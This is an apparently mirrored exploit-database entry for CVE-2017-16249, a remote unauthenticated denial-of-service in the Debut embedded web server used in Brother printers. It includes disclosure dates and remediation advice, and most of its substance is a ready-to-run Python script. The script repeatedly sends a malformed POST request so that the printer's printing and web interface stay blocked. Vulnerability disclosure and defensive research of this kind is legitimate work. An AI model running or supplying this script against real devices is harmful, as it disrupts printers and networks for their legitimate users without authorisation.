Lucene search
+L

Debut Embedded httpd 1.20 Denial Of Service

🗓️ 07 Nov 2017 00:00:00Reported by z00nType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 56 Views

Remote un-authenticated DoS in Debut embedded httpd server in Brother printers. Malformed POST request causes server hang leading to HTTP 500 error and network inaccessibility

Related
Code
`# Exploit Title: Remote un-authenticated DoS in Debut embedded httpd server in Brother printers  
# Date: 11/02/2017  
# Exploit Author: z00n (@0xz00n)  
# Vendor Homepage: http://www.brother-usa.com  
# Version: <= 1.20  
# CVE : CVE-2017-16249  
#  
#Description:  
#The Debut embedded http server contains a remotely exploitable denial of service where a single malformed HTTP POST request can cause the server to hang until eventually replying with an HTTP 500 error. While the server is hung, print jobs over the network are blocked and the web interface is inaccessible. An attacker can continuously send this malformed request to keep the device inaccessible to legitimate traffic.  
#  
#Remediation Steps:  
#No patch currently exists for this issue. To limit exposure, network access to these devices should be limited to authorized personnel through the use of Access Control Lists and proper network segmentation.  
#  
#Disclosure Attempts:  
#09/11/2017 - Attempt to contact vendor  
#10/03/2017 - Live chat communications with vendor regarding no reply  
#10/25/2017 - Attempt to contact vendor  
#11/02/2017 - Advisory published  
#  
#Proof of Concept:  
  
#!/usr/bin/python  
import socket  
import sys  
  
target = raw_input("[*] Enter target IP or hostname: ")  
port = raw_input("[*] Enter target port: ")  
  
payload = "POST / HTTP/1.1\r\n"  
payload += "Host: asdasdasd\r\n"  
payload += "User-Agent: asdasdasd\r\n"  
payload += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"  
payload += "Accept-Language: en-US,en;q=0.5\r\n"  
payload += "Referer: asdasdasdasd\r\n"  
payload += "Connection: close\r\n"  
payload += "Upgrade-Insecure-Requests: 1\r\n"  
payload += "Content-Type: application/x-www-form-urlencoded\r\n"  
payload += "Content-Length: 42\r\n"  
payload += "asdasdasdasdasdasdasd\r\n\r\n"  
  
print "[*] Starting DOS. Payload will be sent every time the server responds."  
while True:  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  
try:  
s.connect((target,int(port)))  
print "[*] Sending DOS payload"  
s.send(payload)  
# Wait for server to respond with 500 error  
s.recv(4096)  
s.close()  
except:  
print("[!] Can't connect to target")  
sys.exit()  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Nov 2017 00:00Current
7.5High risk
Vulners AI Score7.5
EPSS0.59386
56